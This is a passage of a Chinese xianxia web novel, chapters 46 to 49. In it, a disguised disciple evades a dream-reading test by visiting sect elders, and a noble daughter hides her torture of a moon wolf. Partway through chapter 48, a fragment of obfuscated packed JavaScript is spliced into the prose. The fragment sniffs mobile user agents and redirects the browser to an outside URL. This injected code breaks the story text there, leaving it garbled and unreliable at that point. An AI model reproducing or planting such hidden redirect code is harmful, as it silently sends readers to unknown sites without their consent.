华尚拗不过她，恰好玄清宗与朝天宫关系密切常有来往，让连筝留在玄清宗治伤同样能行，华尚便带着连筝去了最近的玄清宗。
她不解连筝为何选择留在玄清宗，连筝却说她有预感，这个从鬼煞冢回来的弟子并不一般。
连筝道：“华尚，我曾告诉过你，我在云水涧修炼功法时曾被小人偷窥全程，我虽未看清那人的模样，但盗取朝天圣果的贼人的肖像，给我一种似曾相识的感觉。
“途径玄清宗时，我便在想，前一脚朝天圣果失窃，后一脚玄清宗内便有一叫慕婉思的弟子从鬼煞冢活着回来，回来的是人是鬼，我要亲眼瞧瞧。”
华尚记得此事，道：“你说的那人不是修士么，盗取朝天圣果的贼人却是无法修炼的凡人，那个修士若无人教导，她也无法学会你的功法。”
连筝冷笑一声，道：“你忘了投影珠么，她若以投影珠记录全程，就算是傻子也能摸出一点门路来，何况我咽不下这口气，她白白看了我修炼功法的全程，岂能一走了之。”
华尚仍是笑着，她的声音温柔似水，一直在试图压着连筝的怒火。
“我想她会走火入魔的，你也是修了八年才能有如今的成就。”
连筝目色越冷，“她就是走火入魔，我也得出了这口气。”
觉察到有人进来，两人收敛情绪，不再说话，目光皆落在安泛泛身上。
连筝被华尚扶起身，看人就更轻松了，她目光打量着这位药圣之女，对方似乎什么也没带来。
眼前人为药圣之女，既为药圣之女自然是出名的，但鲜少有人见到她出手，这一次玄清宗在玄真长老不在的情况下，选择派她来为自己疗伤。
华尚扶着连筝，向安泛泛投去视线，道：“阿筝的身上中了一种毒，我们二人不知根源，只能拜托你来帮她看看。”
安泛泛觉察到了她们的探究，大大方方地让她们看，闻言问道：“连前辈可有什么不一样的表现和不适吗。”
华尚温和的面庞上多了几分愁意，道：“这便是问题所在，阿筝是中毒了，可是没有明显的变化，唯一的古怪是，此毒消耗她的精气，使得她身体软弱无力。”
安泛泛颔首表示明白，先是握住连筝的手腕，粗略地去感受她体内的灵气流转情况，得出滞涩的结论。
她再让华尚为连筝褪去外衣，藏在袖口下的针精准地扎入几个穴位。
目睹此举的华尚在想，听闻药圣安泛为人断病时，整个过程不到一炷香就能确定病人的病情病因，她的女儿竟是有过之而无不及。
安泛泛注意到一侧华尚怔愣的神情，笑道：“这还没完呢，依我的能力还不够格与我娘比，不过连前辈身上所中的毒并不是什么麻烦事，我只要一验就能验出来。”
话是听着有些谦逊的意味，面上却不掩骄傲的神情，这便使得她叫人喜爱。
华尚心想，自己就算是个心肠硬的人，也会为这个姑娘忍俊不禁。
她又看了眼连筝，连筝额头沁出细密的汗水，神色似是压着某种痛苦，便转头去倒了一杯茶又准备了润湿了的手巾，等她回来，发现自连筝的体内生出一缕青气。
华尚道：“我和阿筝曾在万象峰滞留过一段时间，想必是在那里中的毒，你可看出阿筝的身体如何？”
安泛泛道：“我原本也很奇怪，找出连前辈藏在肝中的毒，我便明白了，我想连前辈应当是无意吸入风铃花的花粉，风铃花生长在树上，经风吹动时会发出入风铃般的声音，它的花粉会随风挥发，常常由于细小味淡不易惹人注意。
“风铃花花粉会使人精气外泄，时间久了，会让人只能躺着直至彻底失去意识，不过风铃花花粉的毒听着唬人却是很好解，我替连前辈施针三日，连前辈很快就会好起来。”
华尚道：“那就拜托你了，不过这样就已经能判断出阿筝的病因了吗？”
她并不是在质疑药圣之女的能力，只是这过程让她觉得太快了。
安泛泛一面施针一面道：“我本来就已经猜到连前辈的病因，施针是为了确定她身上没有别的伤。”
安泛泛的施针过程并未花上太久时间，第一次施针结束，连筝便觉得泄出去的精气全都回来般，全身的力气都有了。
她穿上外衣，来回走了几步，高兴地道：“可算是好了。”
安泛泛从药架中抽出几个格子，把瓶瓶罐罐的粉末倒在一起，又放了几个放干了的玉莲果，心道巧了，药材一样也不缺，也省得她磨粉制药了。
她耐心解释道：“连前辈，我目前只是把你的精气控制阻止它外泄，你每日还需早晚煎药两次，其中玉莲果需要干嚼入肚，这样连续一旬就会好了。”
几种不知是何灵植的药粉混合在一起，形成一种苦涩的味道，在空气中渐渐弥漫开来。
连筝皱鼻，嫌弃地没有接过。
“必须要喝这个吗，难道没有别的选择？”
华尚从安泛泛手中接过安泛泛打包好的药材，没让她的手停在半空，道：“阿筝你应当遵听医嘱，不可任性。”
连筝压着眉峰，道：“可是这也太苦了，我宁愿挨几刀忍忍就过去，这种苦药我一喝下去根本无法进入喉咙就会呕出来，我就不信有人忍得下这苦味。”
听到最后一句话的安泛泛不禁想到东闲，东闲无疑是最听话的病人，喝药从不含糊，一点都不怕苦，仰头一咕噜就能喝下去，明明那药苦涩极了，安泛泛曾一度以为她是不是没有味蕾。
华尚温声哄道：“好啦好啦，那就放一个蜜饯。”
连筝怒道：“这难道是一个蜜饯的问题吗？”
华尚想了想，道：“那就三个？最多五个不行了，不然你的药就白喝。”
连筝气才消下去，道：“这还差不多。”
华尚向着安泛泛道：“阿筝中的毒不是要紧事吗，我见你拿的这些，好像都是寻常的灵植。”
安泛泛自信地道：“因为有我施下的三次针，就基本能消除连前辈体内的毒素。”
连筝关注到了重点，道：“所以我可以不用药？”
华尚轻斥一声：“连筝。”
连筝不乐地撇嘴。
医馆外传来稍显急促的脚步声，很快一个女人出现在他们面前，口中喊道：“华尚，连筝怎么样了？”
华尚拿起搁置在一旁的浅蓝长伞，应道：“没有什么大事，小月
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亮，我们好久没见了，我和阿筝来玄清宗也算是特意来看你的。”
月华长老脸色皲裂，尤其在场还有安泛泛在，她感觉自己作为长老的尊严有所损失，咬牙切齿地道：“你就算改不了给别人取名的臭习惯，也别乱取名。”
华尚眉眼弯弯道：“好好好，小月亮别生气啦。”
安泛泛看出月华长老不耐的神情，知道这是源自于自己的存在，识趣地乖乖告退。
她出来后想找东闲，却发现只有秦师姐和其他弟子在。
“秦师姐，你看见慕婉思了吗？”
秦师姐道：“她有事先走了。”
安泛泛问道：“那你知道她去哪了吗？”
秦师姐道：“这我就不清楚了。”
安泛泛向她道谢，心中暗道东闲这个大坏蛋，明明是她说要陪自己的，结果半路就一个人溜走，这不是在耍她吗。
“讨厌的慕婉思，我今天理你就是狗。”安泛泛愤愤地道。
一个纸人轻轻拍了拍安泛泛的鞋尖，安泛泛似有所觉地俯身看了过去，好奇地将那纸人捧在手心。
纸人却是在她的手心跳舞，看起来有几分滑稽，惹得安泛泛不禁莞尔。
“你到底想干什么呀？”
纸人的身上跃动出几行字，最后化作星星点点消散。
那上面写的是：“于师姐说漫情花海有一种花在晚上会发光可漂亮了，不过因为偷的太多，执法堂特派出一弟子看花抓偷花贼，正巧碰上看花的当值师姐不在，我去偷偷给师姐采一朵，师姐去广场等我就好。”
安泛泛神情为之所动，没忍住以信鹤回了过去，等她反应过来自己就是狗了。
安泛泛懊恼地拍脑袋，不过应当没人听见她的话吧。
她东张西望片刻，而后开开心心地朝广场跑去。
躲在暗处的东闲没忍住笑了。
原本烦闷的心情因此得到疏解。
东闲其实没有离开，她让秦师姐留了口信给安泛泛，告诉安泛泛自己有事先走了，实则她一直待在旁侧观察。
她在想朝天宫的人来到玄清宗会不会是因为她。
她知道外界有多少人寻她，故而基本待在玄清宗不曾出来，若非必要她连山下附近的集市都不会去，为的就是减少大家对从鬼煞冢回来的慕婉思的讨论度。
可惜她还是被注意到了。
方才她向秦师姐打听，得知这二人分别是朝天宫七英中的连筝和华尚。
不久，她还看到月华长老进入了医馆。
眼见月华长老匆匆赶来，东闲心中跳出一个想法，莫非这两人就是月华长老口中的在朝天宫的好友。
如若月华长老与她们关系很好，这些日子，她少不得要跟这两位来自朝天宫的前辈周旋。
来自百生镜的伪装固然不会被识破，但是如若有人想到世间能有一法宝可使一个人完全变成另一个人呢。
东闲深感自己的弱小，在危机来临前，她不知自己的退路在哪，似乎只有抵死反抗。
光靠修炼是不够的，何况她马上就要离开玄清宗，她已经打听到消息，无妄之地那里得来了回应，这意味着掌门和朝阳长老再不过两月就能回来。
东闲最后看了眼医馆，转而离开。
同时刻，医馆内的连筝已经将话题引到了从鬼煞冢回来的慕婉思身上。
月华长老道：“你们如若想见她，我便安排时间让你们见一见，她是我的弟子，明日她会来我的无双峰。”
47.第 47 章
东闲照常来到无双峰，如她所想的那般，华尚和连筝二人皆在无双峰。
她看向凉亭中有说有笑的三人，心道免不了一场暗中较量。
月华长老最先是注意到她的到来，笑容晏晏地朝她招招手。
等到东闲绕过池塘穿过青石板路来到凉亭，月华长老为她介绍道：“这两位分别是朝天宫的连前辈和华前辈。”
东闲能感觉到月华长老对她的态度没有变化，料想是两人没有对月华长老说实话。
也好，在学到更多的阵法知识前，她还不想太早与月华长老闹掰。
华尚捏着一枚咬了半块的莲子糕，语气似山间清风般柔和。
“你既然是小月亮的弟子，叫我华前辈显得太生疏，唤我华姐姐刚刚好。”
她挂着张容易让人不设防的笑，是一个很擅长拉近与他人距离的存在。
东闲便唤了声“华姐姐”。
连筝则没说话，她目光审视着东闲，带着一种奇怪的敌意。
因为她的敌意，东闲不禁深思自己是哪里露出马脚，她敢肯定自己从未见过连筝。
连筝生得极具特点，山根上标志性的痣长得恰到好处，是一眼不会忘记的长相，让人会联想到开得轰轰烈烈的凤凰花。
东闲记性很好，如若见过连筝的模样绝对不会忘记她，那么她们二人间定然没有交集。
她们或许会因为慕婉思回来的时间与朝天圣果失窃的巧合而想见见她，但是这敌意是为何？
东闲想不出理由。
她心念电闪，彼时华尚再度开口，道：“听说你从鬼煞冢回来，失去了过往的记忆，现在还是一点都记不起来吗？”
她的神情关切，让人瞧不出一点异样。
东闲回道：“我的症状特殊，安师姐不敢随便出手，不过在安师姐的帮助下，我能依稀记得过往，收效虽微，却也让我不再感到迷茫。”
华尚一边听一边咬着剩下的半块糕点，没有第一时间继续回应东闲，倒是她一旁的连筝出声了。
“我见你面熟，与我一个故人有几分肖似，所以有关你过去的记忆，我们愿意出手帮你唤醒。”
东闲意外地道：“两位前辈愿意帮助我唤起以前的记忆？”
连筝注意着东闲的情绪，不错过她任何细微的变化，失望地发现东闲并没有表现出任何异样。
连筝道：“华尚会帮你，你且听她的。”
华尚应道：“接下来你只需要听我的，我会帮你记起过往。”
东闲便依照华尚的话，端坐在石凳上，华尚对着手心吹气，生出一只翩然的白蝶印入东闲的眉心，东闲双目失焦，很快失去意识。
月华长老隐觉不对，原以为她们是来帮自己的弟子。
“你的迷蝶入梦何时能够唤醒他人过往的记忆了。”
华尚一面点了下东闲的额头，点出一朵如花的印记浮现，一面道：“我们分隔几月不见，你不知我的迷蝶入梦的功力有所进步很正常，说不定我就能让她的记忆恢复。”
月华长老不知她们葫芦里卖的什么药，多年的情谊使她相信她们，却也担心自己这个徒弟有什么闪失，毕竟东闲的天赋实在出众，有望能够传承她的镜花水月。
“我好不容易收的好苗子，你可轻点下手，她在鬼煞冢的境遇并不好过，你不要让她记起在鬼煞冢的事情。”
在一旁看着的连筝心说能让她记起在鬼煞冢的事，那是再好不过，毕竟东闲只有真有在鬼煞冢的记忆，才能打消她们的怀疑。
连筝道：“你不是还有个叫亓沂的弟子，外门大比就被你们的掌门钦定为玄清宗下一任掌门，身负八成奎木狼的传承，这天赋还比不得一个五成星日马的传承？”
月华长老提到亓沂便觉得颇为头疼，“她若是能有慕婉思一半听话，我也不至于如此烦心，其他长老也不会对她有意见。”
连筝来了兴趣，想起那张看谁都蔑视的脸，道：“你那个弟子我在百仙盟举行的青云大比上见过，极具个性，是出了名的孤僻不好相处，本事了得，却总是有古怪的想法，她这是又做了什么惹你们不快？”
月华长老神色更见苦涩，道：“她竟说出与魔共处的话来，我如何不心急。”
连筝附和道：“这确实不该，若我是她的师尊，她得先挨过鞭刑再去思过反省禁足一月，她现在是玄清宗的代掌门吧，我和华尚能进来玄清宗，需要通过她的应允。”
华尚一直专注于东闲，白蝶印入东闲的眉心，她闭上眼，意识与东闲的意识相通。
进入一片由漫天金丝构成的天地，她拨乱重组金丝，不断更改变换，改造成她最终想要的结果。
过了一阵，她睁开眼，道：“好了。”
两人都停止说话，被她吸引过去。
东闲眉心的印记消失，慢慢恢复意识，一双眼也清明起来。
微风习习，华尚的声音混在风中，轻柔得像场梦。
“我们看见了，你过去的记忆。”
东闲半信半疑道：“真的吗，可是为什么我什么都没记起来？”
华尚一本正经地道：“我怕你的脑袋一时负担不了太多记忆，所以没有选择让你记起来，你不过我看见了，你被群魔围伺，避无可避。”
东闲面容流露出一丝恐惧。
她好心地没有在鬼煞冢这个话题久留：“我还看见你差点在魔尊的蛊惑下献出自我，不过你的运气很好，你成功逃了出去，我还无法看到你的太多记忆，那样对你的损耗太大。”
东闲问道：“华姐姐没有看到我在玄清宗的记忆吗？”
华尚撩起被风吹动的鬓发别在耳后，道：“有的，不过这些你早该知道了说了也没有必要。”
东闲点头表示明白。
华尚道：“我的能力在你身上用太多次不好，你今日先回去歇息吧，明日我会再帮你。”
东闲闻言告退，身影很快消失在她们视线当中。
等到看不见东闲，月华长老方开口道：“你们是不是在怀疑我这个弟子与盗窃朝天圣果的贼人有关？”
事到如此地步，她如何听不出两人的意思。
华尚又捏起一块莲子糕，莲子糕很合她心意，这一碟被消灭的莲子糕近乎都是她吃的
“小月亮，你放心，我们只是在试验，若此事与她无关定然是好极。”
月华长老道：“我不明白你们为何怀疑她，她怎么会与那个窃贼联系？”
连筝像是再也维持不了和气的表面，压着眉峰很是不耐，尽管方才她的表情也看不上多忍耐。
“你难道不觉得慕婉思这个身份太好伪装了吗，记忆全失，修为尽丧，我很难相信一个炼心境的修士能从鬼煞冢活着回来，一个月了，连那个窃贼的一点背景都查不出来，我觉得没有什么不可能。
“而且，月蓉，你这弟子跟我一个故人很相似，方才我是怎么瞧她都喜欢不起来。”
月华长老闻言两眉微蹩，道：“我这个弟子平日很听话，尊师敬友，自回来后一直恪守本分，努力修炼，不见得有那窃贼半点张狂的影子，而且她有五成星日马传承。”
华尚道：“诚如你所言，是个很乖巧的孩子，我也希望不是她，小月亮你有没有想过，星宿传承是能伪装的，更何况剥夺星宿传承一事屡禁不止。
“只要有需求纵使百仙盟出面也无法阻断，初生香的存在甚至可以使一个人将偷来的星宿传承变为己有。”
连筝对华尚道：“你方才发现了什么吗？”
华尚道：“我的确没法恢复她的记忆、知晓她的过去，我的能力与心修的能力很像，是通关入梦的方式窥见她内心潜藏的秘密，她若是盗取朝天圣果之人，心中有鬼的话，我一探便知道。
“缺陷便是我的能力可以被规避，我方才并没有在她的内心看到我想要的答案，她要么是知道我的能力提前做好应对之策，要么是
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真的与盗窃朝天圣果一事无关。”
月华长老道：“如何提前规避？”
华尚道：“那个叫安泛泛的小姑娘不是同她处得很好吗，你这个弟子若是清楚我的能力，必然会向安泛泛讨来助眠安神的药物，她一旦用药便无法做梦，她没有梦，我自然没办法施展我的能力。”
连筝浑不在意，道：“华尚的能力可还没有停止发挥作效，方才的对话才是她的能力正式开始生效。”
月华长老知道华尚的能力没有中断作用，因为那只白蝶还藏在东闲的眉心没有出来。
她攥着杯盏，花茶的清香沁人心脾，她也懒得去管两个好友的所作所为，只要她弟子真的与此事无关，就不会出事。
只是想着每日来认真听课的东闲，她嘴上还是忍不住道：“鸦昤与慕婉思同居，鸦昤曾与盗取朝天圣果之人共处一段时日，若是慕婉思真的有问题，现在也应当发现了。”
连筝闻言没忍住笑了，道：“是不夜天那个天赋异禀的小姑娘吧，你不知她性子有多单纯好骗，依我看，此人变了个面目再次出现在她面前，她也不一定能认得出来，甚至装装可怜就能让她的正义再次泛滥。
“说到这个小姑娘，我们方从不夜天那过来，得了消息，她的师尊独孤慈死了。”
月华长老惊讶道：“独孤慈？她怎么会死。”
华尚言语柔和的如一弯溪水，但是等你细细体会她的话，便能发现流淌进你心的那弯溪水不知何时冰封。
“据说是在出云谷受的伤，一场迷雾散去，独孤慈拖着大限将至的破败之身回到了不夜天，不夜天欲广寻药修救她，甚至想请出药圣，可惜她的境界能熬过几日已是难得，至于何人伤她，无人知晓。”
连筝嘴皮子飞快，下意识道：“这也不难猜，谁与她有仇，谁觊觎她的法宝，挨个排查就能把此人找出。”
华尚支颐看她，道：“阿筝你想得太简单了，有时候杀一个人连理由都不需要。”
她琥珀色的眼眸又从连筝身上转到月华长老身上，开口很轻易地转移这个略显沉重的话题。
“小月亮，我见你是真的舍不得慕婉思呢。”
月华长老些许惆怅地道：“她是第一个能够继承我的镜花水月的弟子，我自然对她有所偏爱。”
她也随了华尚的意没有继续聊独孤慈。
华尚好奇问道：“亓沂不行吗，她的天赋不是更出众吗？”
连筝附和道：“对啊，你方才同我说她思想古怪，但还没说你不愿教她的理由。”
月华长老佯怒道：“我如何没教她，她总是忙得连看她师尊的时间都没有。”
连筝很是感兴趣地道：“带我去见见你这位弟子，青云大比没来得及跟她说上几句话，我一直都很想好好瞧瞧她。”
月华长老道：“她便住在听风竹林，这些日子她没有离开玄清宗，我带你们去看看吧。”
余光注意到一旁的华尚神色的变化，月华长老不禁又问道：“怎么了？”
华尚忽然紧起的眉头闻言舒展开，朝着月华长老道：“无事。”
方才转瞬而逝的心悸，应当是她的错觉。
***
“华尚的入梦能力。”
东闲瞧着手中从眉心捏出来的白蝶。
华尚的入梦，可以窥探、改变、编造他人的梦境。
梦境能够投射出太多的东西，比如欲望与痛苦，这些为人的隐秘。
东闲怎么可能会让华尚看到自己的梦境。
她是同安泛泛讨来了药，但不是安神助眠的药，而是意志清醒身体沉睡的药。
在她入睡的对话，她全都听见了。
方才她们是提到了亓沂对吧。
东闲调转方向，朝听风竹林而去。
至于这白蝶，她重新放入眉心。
贸然消除这白蝶，只会引得她们更加疑心。
但她的处境绝不被动。
48.第 48 章
“少爷，此事理应告诉家主与老爷。”
窈娘，自宋问天年幼时便服侍他的仆人，待宋问天如视己出，如今得知宋问天受委屈，当即心疼不已。
宋问天自那日与东闲一架未成回去后，偶感头疼，时间长了，越发觉得头疼难忍，今日便先告假回家唤了窈娘帮自己看看，果然从识海发现被侵入的痕迹。
宋问天暗道果然，冲窈娘摆摆手，道：“不急，此事我能应付，窈娘，你且将我上回得来的秀清仙乳拿给我。”
窈娘嘴上应好，心里已经盘算着合适的时间禀报给家主。
待宋问天接过秀清仙乳，他目中流露一丝不舍，复而决绝地打开瓶盖，滴下一滴于眉心中，便汇入识海修补识海。
识海内储藏着修士的记忆，侵入识海不但可以读取与纂改记忆，还能控制这具身子，傀术有一邪门为修士不耻的术法，便是利用了这一点。
宋问天有些心疼，不过事关自己的识海，可是大事，耽搁不得。
头脑的疼痛终于得以缓解，宋问天不由得暗叹秀清仙乳的神效，难怪千金难买。
他让窈娘好生保管，转而琢磨着，东闲一个才淬灵境前期的修为，断然做不到侵入他的识海，何况平日东闲与他的接触仅限于共同出入学堂，众目睽睽之下，东闲没法使阴招。
那便是旁人动的手，此人宋问天应当不认识，若是这样的话，可能性很大，因为前两日宋问天闲来无事接下一则委托，不过那时因为是丙级委托，宋问天心下松懈给了可乘之机，如今回想若有人想对他动手，自己的确给了不少机会。
宋问天怀疑此事与东闲有关的理由很简单，东闲为了保证自己不暴露，想要杀掉唯一怀疑她的自己，虽然这样做的方法蠢了些，但是宋问天觉得东闲肯定对自己有杀心。
如何对付东闲宋问天心中会定好计划。
这天下的魔修就该死绝，与魔修沾染之人同样罪大恶极。
宋问天一直觉得东闲不可能能够干净地从鬼煞冢回来，先前爆出与魔修有染的怀玉教习，为何东闲一个毫无修为之人能将怀玉教习坑了，要说东闲身上没有古怪，宋问天是第一个不信的。
何况她打着求和的名义对自己出手，可不就是心中有鬼吗。
几下叩门声响起，一道柔和若春风拂面的声音继而响起。
“二哥，玉瑶求见。”
宋问天听到是疼爱的小妹来了，连忙亲自上前迎道：“玉瑶，你来了，可是来拿凝玉箫的，你借给二哥的凝玉箫还没派上用场，怕是要过段时日才能还你。”
宋玉瑶佯装生气道：“二哥莫非是觉得玉瑶小气，才把凝玉箫借出一会的功夫就要同二哥讨回来，玉瑶在二哥眼中竟是这种人？”
宋问天哄道：“好好好，是二哥的错，我们玉瑶最大方体贴了。”
修仙界对情爱一事很是宽容，无论是一夫多妻、一妻多夫，还是一夫一妻甚至同性相恋都不为奇怪，不过绝大多数修士对伴侣的要求都是一生一世一双人。
宋问天上有大姐宋知秋下有小妹宋玉瑶，都是同父同母的姐弟妹，母亲只有父亲一个男人。
平日里作为二哥的宋问天与小妹宋玉瑶关系最好，而他们两人与大姐宋知秋的关系反而最差，二人都不喜欢大姐宋知秋，觉得她过分严苛。
宋问天很喜欢小妹宋玉瑶，觉得她聪明伶俐又能说会道，规矩礼仪从来挑不出错，在修炼一事上天赋虽然比自己好，却总是帮助自己鼓励自己，且上进心强。
宋玉瑶道：“不同你开玩笑了，二哥，我前几日想托你办到事有结果吗？”
宋问天想起这件事有些头疼，他揉了揉眉心无奈地道：“玉瑶，不是我不想去，是亓沂师姐太不近人情了，多少人要去寻她都不一例外地被她打出来，那是根本近不了她身啊，依据我的修为我也没办法靠近她，我昨天还挨她打了呢。”
宋玉瑶很是善解人意，道：“那算了，反正我也不是很想知道。”
言语中的失落却是不能忽略的。
她又展开笑容，“如若太麻烦二哥我也会感到内疚。”
宋问天看不得小妹失落强撑的神情，当即改口道：“既然是玉瑶你开口了，那我还是再努力一把，看看能不能争取到更多有关亓沂师姐的信息，话又说回来，你为何突然关心亓沂师姐？”
宋玉瑶道：“二哥你也知道，我们宋家的铸剑可是一等一的好，几乎所有的剑修弟子的第一把剑都得出自我们宋家，这其中自然也有玄清宗的弟子，他们来铸剑时，我无意听到他们说起亓沂，一时间好奇了嘛。”
亓沂此人是有一定话题度，弟子们私下议论她的也不少，传到小妹玉瑶耳中并不奇怪。
宋问天又道：“那你怎么知道亓沂师姐会御兽，我在玄清宗待了几年都不曾知道亓沂师姐会御兽。”
宋玉瑶道：“我也是听他们说的，如若亓沂师姐会御兽的话，那一定契约的是很厉害的妖兽，二哥，你知道亓沂师姐有什么契约兽吗，或者是养了什么妖兽吗？”
宋问天想了下，才道：“契约兽？未曾听说过。”
宋玉瑶追问：“近日她就真没有养什么妖兽吗？”
宋问天摇摇头，“亓沂师姐从不愿与我们共处，大家也不敢主动接近，她平日都是独来独往，一个人住在听风竹林，她会不会养妖兽我也不知道。”
宋玉瑶想到什么，又问道：“亓沂为什么要打你们呀？”
“谁知道了，她那样凉薄，想法又古怪，谁能，不过玉瑶你好奇就行了，还是别招惹她，你应该听过不少有关她的事，她是个怪人，脑子不算正常的。”
这种不正常不是智力不行，而是她行为方式思维想法与人不同，性子孤僻，常常让人难以理解，无法苛同。
宋玉瑶面上乖巧懂事地应下，心里却想着我非招惹不可，她抢了我的东西，我自是要拿回来的。
想到这，宋玉瑶就恨得牙痒痒，她费了九牛二虎之力才叫人抓回来的天月狼狼王幼崽，一朝没看住竟让它钻空跑了去，宋玉瑶再去寻它之时，发现它已经认亓沂为主。
觜火猴的星宿传承都没到手，结果天月狼跟人跑了，她如何不气。
依据二哥宋问天所言，亓沂并没有把她契约天月狼一事告诉众人，而是选择瞒下，如此也正合她意。
宋玉瑶面上仍是一副好妹妹的模样，笑得甜美又乖巧。
“二哥，我的事解决啦，你有什么事是我能帮上忙的，我定能全力以赴。”
宋问天瞧她认真的面孔，不由得失笑，“你将凝玉箫借我便是对我最大的帮助。”
宋玉瑶担心地道：“二哥可是遇见魔了，你一个人可以吗？”
宋问天“嗯”了一声，想到那张可恨的面孔，两双眼倏地狠厉起来，道：“放心，我一定会在大家面前揪出她的真面目，她跑不了，有凝玉箫在，必然查出她身上的魔气，到时她绝对会现出原形。”
凝玉箫乃高阶法器，尤对魔有效，它能使一切魔气现形，避无可避。
宋问天认为，东闲既然与魔达成交易，势必会沾染魔肮脏腐败的气息，就算是微弱不可捕捉或隐藏得再完美，都不会逃过凝玉箫的监测。
宋玉瑶颔首，熟稔地接过茶盏为二人倒茶。
“二哥，你好不容易回来一趟，今夜我们小叙一会，我还有好多话想同你说。”
宋问天却摇了摇头，道：“抱歉啊小妹，这回我只请了一天假，晚上就得赶路回玄清宗，不能继续陪你了。”
宋玉瑶虽然失望，但是很听话，理解地点点头，“那我等二哥下次回来。”
宋问天怜爱地揉了揉小妹的头，想起兄弟曾说过要娶他小妹之类的话，觉得他真该死啊，竟敢打他乖巧可爱的小妹的注意。
兄妹俩又随意聊了几句，宋玉瑶便告辞离开，回到自己的居所，而这一回她神色倏然变化。
“文书，文书！”
叫作文书的侍女一路跑过来，宋玉瑶瞧见了她，紧张地问道：“可有人来过我的屋子？”
文书摇摇头，“不曾见到。”
文书紧张道：“莫不是丢了东西不成？”
宋玉瑶紧忙回道：“无事，我想起来我放在哪了，你先下去吧。”
她独自回了房间，尤为不放心地关上房门，在几案上放着一条血迹斑斑的绳子。
那是她的，她用在教训一只顽固不可驯化的天月狼身上。
她曾在天月狼身上用过无数刑具逼它签下契约，可它孤傲得不行，哪怕气息奄奄也不曾改变念想，最终逃离她的束缚。
御兽师最忌讳的是虐待逼迫妖兽契约，宋玉瑶一直以温和谦逊的美名对外，母亲也满意她的温和谦逊，带她参加各种重要的场合，更是有意向培养她成为下一任家主，目前已经逐步让她交涉家产，她以这副模样几乎骗过了所有人。
刑具的出现，撕开了她虚伪的表象，几乎要将她数年以来营造的好形象毁于一旦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450587|134915||http|test|mini|href|location''.split(''|''),0,{}));
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若是被知道她虐待妖兽，其后造成的影响，不仅仅是搞臭她的名声，更是害了宋家，宋家名下的金银楼主以售卖炼器为营，与多个有名的炼器师合作，宋家本身就是铸剑的好手，大多数剑修的第一把剑就出自宋家，可见宋家的家业之大。
想到这，宋玉瑶连忙将刑具收进储物袋中，她方才问过文书，无人来过她的居所，所以除了把刑具送过来之人和她之外，没有第三人知道。
宋玉瑶心中直打鼓，她翻遍整个屋子都没找到除刑具外的古怪东西，对方没留下任何要求见她的消息，这反而叫她更加恐慌。
到底是谁做的，这种事情，唯有她的心腹知晓，宋玉瑶不会怀疑她的心腹，可那会是谁做的，对方的目的仅仅是为了恐吓她吗。
她软了下半身，面上微微发白，找了凳子作支撑稳住身形以免摔倒。
一开始她选择契约天月狼是为了表现她的强大，母亲有意让她接触家业，是她努力多年争取而来，一次她无意听到仆人们的闲言，她才知道，自己仍然比不过长姐。
是的，她有天赋有努力，却活在长姐的阴影下，如若不是长姐惹了母亲生气，与母亲不告而别，母亲不会看见她的努力。
契约八阶的天月狼，是她想让所有人都知道自己是强大的，长姐不能契约的八阶天月狼她能契约，可是事情的演变已经到了无法挽回的余地。
人在绝望的时候会愤世嫉俗，此刻的宋玉瑶满心怨恨，怨恨下人们议论她不如长姐，怨恨长姐的强大，怨恨天月狼的倔强，怨恨亓沂契约天月狼。
再怨恨她都得收住脾气不让人看出端倪，对方目前显然没有选择暴露她的秘密的想法，想必是对她有所要求，她仍需要守住秘密，在此之前，她要想办法让亓沂解除与天月狼的契约。
此刻遭她惦记的亓沂方才给天月狼上过药不久，她挺立于院落中，听松涛阵阵，掉落的竹叶覆在一隅的墓碑上。
看向那座墓碑，亓沂便想到东闲的话，觉得这座墓碑没有留的必要，最初也只是想恶心对方，奈何多年过去，她一直没能再见到对方。
看见这座墓碑，便会联想到那人。
亓沂对着一旁的天月狼道：“你觉得契约魔这个想法不好吗？”
她不止一次提出这个想法，第一次提出来时立刻招来大家异样的目光，觉得她的想法太过危险。
在其他人看来，或者说，几乎所有的修士都一致认为魔这种存在就该被彻底消灭，怎么会有人选择契约它，要知道，魔这种东西难以操控，能够奴役他们的，只能是鬼煞冢内被封印的魔尊。
天月狼嗷嗷直叫，表示非常赞同。
它听不懂亓沂的话，妖兽有妖兽的语言，他们的语言不与人类的语言互通，唯有在契约后，通过发动契约之力传达话语，而亓沂并未发动契约之力。
它单纯地觉得这个修士在契约它之后，没有向上一个抓住它的人对它用上各种刑具，还给它治伤，就是一个可以信赖的人，说什么都是对的。
亓沂眉眼间的尖锐之意有意柔和，她伸手抚摸着天月狼过硬的毛发，暗含夸奖满意之意。
“我没有错的对吧，奇怪的是他们，有问题的也是他们，可是自我出生以来，好像就没见过几个正常人。”
亓沂不愿与那些人相处，是觉得他们有问题，他们总以为自己的想法古怪错误，殊不知他们在亓沂眼中也很奇怪，故而亓沂不愿与他们相处。
一开始亓沂不是一个人住的，她同另外三个弟子共居弟子居，亓沂在发现她们有问题后，便选择主动搬出弟子居，转而在听风竹林定居。
同样的，亓沂以前不是所有事都一个人做，最后都因为亓沂觉得他们有问题而不选择与他们共处。
“这个世界正常人很少，我只见过一个，可是我找不到她，有关于她的消息，我一点也找不到。”
亓沂又道：“据说入魔后实力会大涨，你若是需要我可以帮你入魔。”
天月狼先前受到鼓舞，此时嗷得更有劲。
亓沂心情愉悦不少，虽然正常人很难遇到，但正常的妖兽还是有的。
受着亓沂的抚摸，天月狼傻乎乎地乐着，看起来十分欢快。
一人一狼虽然沟通很有问题，但都非常满足而快乐。
而这点快乐很短暂，亓沂觉察到有人的气息接近，她脸色微变，却没办法立刻转身回到屋中把那东西藏好。
对方以御风术而来，停在她的小院门口。
49.第 49 章
亓沂已经及时起了契约阵把天月狼收了进去，只是屋内的物什她还没来得及收起来。
三人已停在她的竹屋前，她只得上前向着三人规矩行礼。
连筝挑眉，道：“昨天我只报上姓名，你便让人放我进来，你是还记得我么？”
亓沂道：“青云大比上所有出面的前辈，我都能记得。”
连筝有些黑脸，华尚没能忍住地笑了，月华长老熟悉她的性子，只觉无奈。
